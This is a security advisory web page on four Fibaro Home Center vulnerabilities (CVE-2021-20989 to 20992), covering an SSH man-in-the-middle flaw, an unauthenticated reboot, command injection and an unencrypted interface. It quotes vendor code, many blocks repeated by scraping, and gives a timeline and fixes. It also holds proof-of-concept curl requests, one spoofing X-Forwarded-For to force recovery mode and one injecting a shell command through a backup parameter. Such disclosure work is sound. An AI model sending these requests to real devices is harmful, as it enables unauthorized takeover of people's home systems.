Resources
>
Research
>
Advisory: Fibaro Home Center - Multiple Vulnerabilities (CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, CVE-2021-20992)

Advisory: Fibaro Home Center - Multiple Vulnerabilities (CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, CVE-2021-20992)

Advisory: Fibaro Home Center - Multiple Vulnerabilities (CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, CVE-2021-20992)
TablE of contents

READY TO UPGRADE YOUR RISK MANAGEMENT?

Make cybersecurity and compliance efficient and effective with ONEKEY.

Book a Demo

Overview

The Fibaro Home Center 2 and Home Center Lite (running versions 4.600, 4.550 and earlier versions) are affected by multiple vulnerabilities: man-in-the-middle attack between the device and the Fibaro cloud, unauthenticated shutdown/reboot/recovery mode access, authenticated remote command injection, and possible eavesdrop on an unencrypted management interface. Fibaro has released an updated firmware 4.610 (HC2 / HCL )to address most of the issues. Users are advised to upgrade. [caption id="attachment_4101" align="aligncenter" width="466"]Fibaro Home Center Fibaro Home Center © Fibaro[/caption]
Affected vendor & product Fibaro Home Center Lite / Fibaro Home Center 2
Vulnerable version 4.600 / 4.550 & below
Fixed version 4.610
CVE Number CVE-2021-20989, CVE-2021-20990, CVE-2021-20991, CVE-2021-20992
Impact 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8 (critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 7.2 (high) CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 8.1 (high) CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit Marton Illes, IoT Inspector Research Lab

Vulnerability Overview

Cloud SSH Connection Man-in-the-Middle Attack (CVE-2021-20989) #1

Home Center devices initiate SSH connections to the Fibaro cloud to provide remote access and remote support capabilities. This connection can be intercepted using a man-in-the-middle attack, and a device initiated remote port-forward channel can be used to connect to the web management interface. IoT Inspector identified a disabled SSH host key check, which enables man-in-the-middle attacks. By initiating connections to the Fibaro cloud, an attacker can eavesdrop on communication between the user and the device. As communication inside the SSH port-forward is not encrypted (see #4 on management interface), user sessions, tokens and passwords can be hijacked.

Unauthenticated access to shutdown, reboot, and reboot to recovery mode (CVE-2021-20990) #2

An internal management service is accessible on port 8000 and some API endpoints could be accessed without authentication to trigger a shutdown, a reboot, or a reboot into recovery mode. In recovery mode, an attacker can upload firmware without authentication. (Potentially an earlier version with known remote command execution vulnerability, see #3)

Authenticated remote command execution (versions before 4.550) (CVE-2021-20991) #3

https://securelist.com/fibaro-smart-home/91416/
An authenticated user can run commands as root user using a command injection vulnerability. Similar problems were also discovered by Pavel Cheremushkin from Kaspersky ICS Cert:

Unencrypted management interface (CVE-2021-20992) #4

Copy Of Ads 480 120

Proof of Concept

Home Center devices provide a web based management interface over unencrypted HTTP protocol. Communication between the user and the device can be eavesdropped to hijack sessions, tokens, and passwords. The management interface is only available over HTTP on the local network. The vendor recommends using the cloud-based management interface, which is accessible over HTTPS and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device.

Cloud SSH Connection Man-in-the-Middle Attack

<code>./etc/init.d/fibaro/RemoteAccess</code>
<code>./etc/init.d/fibaro/RemoteAccess</code>
./etc/init.d/fibaro/RemoteAccess
./etc/init.d/fibaro/RemoteAccess
DAEMON=/usr/bin/ssh
....
case "$1" in
start)
.....
# get IP
local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')
# get PORT
local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')
....
start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \
-- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}"
DAEMON=/usr/bin/ssh .... case "$1" in start) ..... # get IP local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}" local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') # get PORT local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}" local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~') .... start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \ -- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}"
DAEMON=/usr/bin/ssh

....

case "$1" in
  start)

.....

    # get IP
    local GET_IP_URL="https://dom.fibaro.com/get_ssh_ip.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
    local IP_Response; IP_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_IP_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')

    # get PORT
    local GET_PORT_URL="https://dom.fibaro.com/get_ssh_port.php?PK_AccessPoint=${HC2_Serial}&HW_Key=${HW_Key}"
    local PORT_Response; PORT_Response=$(curl -f -s -S --retry 3 --connect-timeout 100 --max-time 100 "${GET_PORT_URL}" | tr -d ' !"#$%&|'"'"'|()*+,/:;<=>?@[|\\|]|^`|\||{}~')

....

    start-stop-daemon --start --background --pidfile "${PIDFILE}" --make-pidfile --startas /usr/bin/screen \
    -- -DmS ${NAME} ${DAEMON} -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R "${PORT_Response}":localhost:80 remote2@"${IP_Response}"
-y
-y
lb-1.eu.ra.fibaro.com
lb-1.eu.ra.fibaro.com
-R "${PORT_Response}":localhost:80
-R "${PORT_Response}":localhost:80
<code>./opt/fibaro/scripts/remote-support.lua</code>
<code>./opt/fibaro/scripts/remote-support.lua</code>
./opt/fibaro/scripts/remote-support.lua
./opt/fibaro/scripts/remote-support.lua
function handleResponse(response)
responseJson = json.decode(response.data)
print(json.encode(responseJson))
local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip
os.execute(autoSSHCommand)
end
function getSupportData()
remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey
print(remoteUrl)
http = net.HTTPClient({timeout = 5000})
http:request(remoteUrl, {
options = {
method = 'GET'
},
success = function(response)
handleResponse(response)
end,
error = function(error)
print(error)
end
})
end
getSupportData()
function handleResponse(response) responseJson = json.decode(response.data) print(json.encode(responseJson)) local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip os.execute(autoSSHCommand) end function getSupportData() remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey print(remoteUrl) http = net.HTTPClient({timeout = 5000}) http:request(remoteUrl, { options = { method = 'GET' }, success = function(response) handleResponse(response) end, error = function(error) print(error) end }) end getSupportData()
function handleResponse(response)
  responseJson = json.decode(response.data)
  print(json.encode(responseJson))

  local autoSSHCommand = 'ssh -y -K 30 -i /etc/dropbear/dropbear_rsa_host_key -R ' .. responseJson.private_ip.. ':' .. responseJson.port .. ':localhost:22 remote2@' .. responseJson.ip
  os.execute(autoSSHCommand)
end

function getSupportData()
  remoteUrl='https://dom.fibaro.com/get_support_route.php?PK_AccessPoint=' .. serialNumber .. '&HW_Key=' .. HWKey
  print(remoteUrl)

  http = net.HTTPClient({timeout = 5000})

  http:request(remoteUrl, {
    options = {
      method = 'GET'
    },
    success = function(response)
      handleResponse(response)
    end,
    error = function(error)
      print(error)
    end
  })
end

getSupportData()
{"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY.ZZZ"}
{"ip":"fwd-support.eu.ra.fibaro.com","port":"XXXXX","private_ip":"10.100.YYY.ZZZ"}
-y
-y
Home Center devices initiate a SSH connection to the Fibaro cloud The device uses dropbear ssh to initiate the connection; option disables any host-key checks, voiding much of the otherwise added transport-layer security by SSH: "Always accept hostkeys if they are unknown." The above "get IP" endpoint returns the address of the Fibaro cloud, e.g.: An attacker can use DNS spoofing or other means to intercept the connection. By using any hostkey, the attacker can successfully authenticate the SSH connection. Once the connection is authenticated, the client initiates a remote port-forward: This enables the attacker to access port 80 (management interface) of the device. A similar problem exists for remote support connections: Here, the remote support endpoint returns the following data: The same dropbear ssh client is used with option . In this case, port 22 (ssh) is made accessible through the port-forward. However, the device only allows public key authentication with a hard-coded SSH key. No further testing has been done on compromising the support SSH connection.

Unauthenticated Access to Shutdown, Reboot, and Reboot to Recovery Mode

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location ~* \.php$ {
proxy_pass http://127.0.0.1:8000;
}
location ~* \.php\?.* {
proxy_pass http://127.0.0.1:8000;
}
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location ~* \.php$ { proxy_pass http://127.0.0.1:8000; } location ~* \.php\?.* { proxy_pass http://127.0.0.1:8000; }
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

location ~* \.php$ {
  proxy_pass http://127.0.0.1:8000;
}

location ~* \.php\?.* {
  proxy_pass http://127.0.0.1:8000;
}
X-Forwarded-For
X-Forwarded-For
<code>./var/www/authorize.php</code>
<code>./var/www/authorize.php</code>
./var/www/authorize.php
./var/www/authorize.php
function isLocalRequest()
{
$ipAddress = "";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
$ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
else
$ipAddress = $_SERVER['REMOTE_ADDR'];
$whitelist = array( '127.0.0.1', '::1' );
if(in_array($ipAddress, $whitelist))
return true;
return false;
}
function isLocalRequest() { $ipAddress = ""; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR']; else $ipAddress = $_SERVER['REMOTE_ADDR']; $whitelist = array( '127.0.0.1', '::1' ); if(in_array($ipAddress, $whitelist)) return true; return false; }
function isLocalRequest()
{
  $ipAddress = "";
  if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
  else
    $ipAddress = $_SERVER['REMOTE_ADDR'];

  $whitelist = array( '127.0.0.1', '::1' );
  if(in_array($ipAddress, $whitelist))
   return true;

  return false;
}
X-Forwarded-For
X-Forwarded-For
isLocalRequest
isLocalRequest
<code>./var/www/services/system/shutdown.php</code>
<code>./var/www/services/system/shutdown.php</code>
./var/www/services/system/shutdown.php
./var/www/services/system/shutdown.php
<?php
require_once("../../authorize.php");
if (!isLocalRequest() && !isAuthorized())
{
sendUnauthorized();
}
else
{
exec("systemShutdown");
}
?>
<?php require_once("../../authorize.php"); if (!isLocalRequest() && !isAuthorized()) { sendUnauthorized(); } else { exec("systemShutdown"); } ?>
<?php
require_once("../../authorize.php");

if (!isLocalRequest() && !isAuthorized())
{
  sendUnauthorized();
}
else
{
  exec("systemShutdown");
}
?>
<code>./var/www/services/system/reboot.php</code>
<code>./var/www/services/system/reboot.php</code>
./var/www/services/system/reboot.php
./var/www/services/system/reboot.php
function authorize()
{
return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER));
}
function handlePOST($text)
{
if (!isLocalRequest() && !authorize())
{
sendUnauthorized();
return;
}
$params = tryDecodeJson($text);
if(!is_null($params) && isset($params->recovery) && $params->recovery === true)
exec("rebootToRecovery");
else
exec("systemReboot");
}
$requestBody = file_get_contents('php://input');
$requestMethod = $_SERVER['REQUEST_METHOD'];
if ($requestMethod == "POST")
handlePOST($requestBody);
else
setStatusMethodNotAllowed();
function authorize() { return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER)); } function handlePOST($text) { if (!isLocalRequest() && !authorize()) { sendUnauthorized(); return; } $params = tryDecodeJson($text); if(!is_null($params) && isset($params->recovery) && $params->recovery === true) exec("rebootToRecovery"); else exec("systemReboot"); } $requestBody = file_get_contents('php://input'); $requestMethod = $_SERVER['REQUEST_METHOD']; if ($requestMethod == "POST") handlePOST($requestBody); else setStatusMethodNotAllowed();
function authorize() 
{
    return isAuthorized() || isAuthorizedFibaroAuth(array(role::USER, role::INSTALLER));
}

function handlePOST($text)
{
    if (!isLocalRequest() && !authorize())
    {
       sendUnauthorized();
       return;
    }

    $params = tryDecodeJson($text);
    if(!is_null($params) && isset($params->recovery) && $params->recovery === true)
        exec("rebootToRecovery");
    else
        exec("systemReboot");
}

$requestBody = file_get_contents('php://input');
$requestMethod = $_SERVER['REQUEST_METHOD'];

if ($requestMethod == "POST") 
    handlePOST($requestBody);
else 
    setStatusMethodNotAllowed();
curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d '{"recovery":true}' http://DEVICE:8000/services/system/reboot.php
curl -H 'X-Forwarded-For: 127.0.0.1' -H 'Content-Type: application/json' -d '{"recovery":true}' http://DEVICE:8000/services/system/reboot.php
The device is running a nginx server, which forwards some requests to a lighttpd server (8000) for further processing: The lighttpd server is not only accessible locally, but also via the local network. Authentication and authorization is implemented in PHP, and there is a special check for connections originating from within the host. However, when checking the remote IP address, the header is also considered: As the lighttpd service available via the network, an attacked can inject the required header as well. The check is used to "secure" multiple endpoints: An attacker can issue the the following HTTP request to reboot the device into recovery mode: In recovery mode, firmware images can be updated without authentication.

Authenticated Remote Command Execution (versions before 4.550)

<code>./var/www/services/system/backups.php</code>
<code>./var/www/services/system/backups.php</code>
./var/www/services/system/backups.php
./var/www/services/system/backups.php
function restoreBackup($params)
{
if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0)
{
setStatusTooManyRequests();
return;
}
$type = $params->type;
$id = $params->id;
$version = $params->version;
if (is_null($id) || !is_numeric($id) || $id < 1 )
{
setStatusBadRequest();
return;
}
$hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3");
if ($type == "local" && $hcVersion == "HC2" || $type == "remote")
{
$version ?
exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) :
exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id);
}
else
{
setStatusBadRequest();
return;
}
setStatusAccepted();
}
function restoreBackup($params) { if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0) { setStatusTooManyRequests(); return; } $type = $params->type; $id = $params->id; $version = $params->version; if (is_null($id) || !is_numeric($id) || $id < 1 ) { setStatusBadRequest(); return; } $hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3"); if ($type == "local" && $hcVersion == "HC2" || $type == "remote") { $version ? exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) : exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id); } else { setStatusBadRequest(); return; } setStatusAccepted(); }
function restoreBackup($params)
{
  if (getNumberOfInstances('{screen} SCREEN -dmS RESTORE') > 0)
  {
    setStatusTooManyRequests();
    return;
  }

  $type = $params->type;
  $id = $params->id;
  $version = $params->version;

  if (is_null($id) || !is_numeric($id) || $id < 1 )
  {
    setStatusBadRequest();
    return;
  }

  $hcVersion = exec("cat /mnt/hw_data/serial | cut -c1-3");

  if ($type == "local" && $hcVersion == "HC2" || $type == "remote")
  {
    $version ?
    exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id . ' ' . $version) :
    exec('screen -dmS RESTORE restoreBackup.sh --' . $type. ' '. $id);
  }
  else
  {
    setStatusBadRequest();
    return;
  }

  setStatusAccepted();
}
$version
$version
exec()
exec()
cat > /tmp/exploit <<- EOM
cat > /tmp/exploit <<- EOM
{"action": "restore", "params": {"type": "remote", "id": 1, "version": "1; INJECTED COMMAND"}}
{"action": "restore", "params": {"type": "remote", "id": 1, "version": "1; INJECTED COMMAND"}}
EOM
EOM
curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type: application/json' -d@/tmp/exploit http://DEVICE/services/system/backups.php
curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'content-type: application/json' -d@/tmp/exploit http://DEVICE/services/system/backups.php
$version = escapeshellarg($params->version);
$version = escapeshellarg($params->version);
Backup & restore operations could be triggered through HTTP endpoints: The parameter is not sanitized or escaped, which allows an attacker to inject shell commands into the call: Version 4.550 and later have proper escaping:

Unencrypted Management Interface

PORT STATE SERVICE
PORT STATE SERVICE
22/tcp open ssh
22/tcp open ssh
80/tcp open http
80/tcp open http
8000/tcp open http-alt
8000/tcp open http-alt

Solution

Timeline

NMAP shows a few open ports on the box: Both 80/tcp, and 8000/tcp can be accessed over unencrypted HTTP. Upgrade to the version 4.610 or latest version, which fixes vulnerabilities 1, 2 and 3. Vulnerability 4 is not fixed, as the vendor assumes that the local network is trusted and the device only provides wired network access. Furthermore, the vendor recommends using the cloud-based management interface, which is accessible over HTTPS, and requests are forwarded via an encrypted SSH connection between the Fibaro cloud and the device. 2020-11-18: Contacting Fibaro through support@fibaro.com, support-usa@fibaro.com, info@fibaro.com, recepcja@fibargroup.com 2020-11-23: Contacting Fibaro on Facebook & LinkedIn, got response on LinkedIn 2020-11-24: Adivsory sent to Fibaro by email 2020-12-01: Fibaro confirmed the receipt of the advisory 2021-02-02: Meeting with Fibaro to discuss the vulnerabilities and fixes 2021-03-16: Fibaro beta release (4.601) with the fixes 2021-03-24: Fibaro applies for CVE numbers 2021-03-31: Fibaro GA release (4.610) with the fix 2021-04-08: IoT Inspector Research Lab publishes advisory
Share

About Onekey

ONEKEY is the leading European specialist in Product Cybersecurity & Compliance Management and part of the investment portfolio of PricewaterhouseCoopers Germany (PwC). The unique combination of the automated ONEKEY Product Cybersecurity & Compliance Platform (OCP) with expert knowledge and consulting services provides fast and comprehensive analysis, support, and management to improve product cybersecurity and compliance from product purchasing, design, development, production to end-of-life.

CONTACT:
Sara Fortmann

Senior Marketing Manager
sara.fortmann@onekey.com

euromarcom public relations GmbH
team@euromarcom.de

RELATED RESEARCH ARTICLES

Security Advisory: Remote Code Execution on Viasat Modems (CVE-2024-6199)
Security Advisory: Remote Code Execution on Viasat Modems (CVE-2024-6198)
Unblob 2024 Highlights: Sandboxing, Reporting, and Community Milestones

Ready to automate your Product Cybersecurity & Compliance?

Make cybersecurity and compliance efficient and effective with ONEKEY.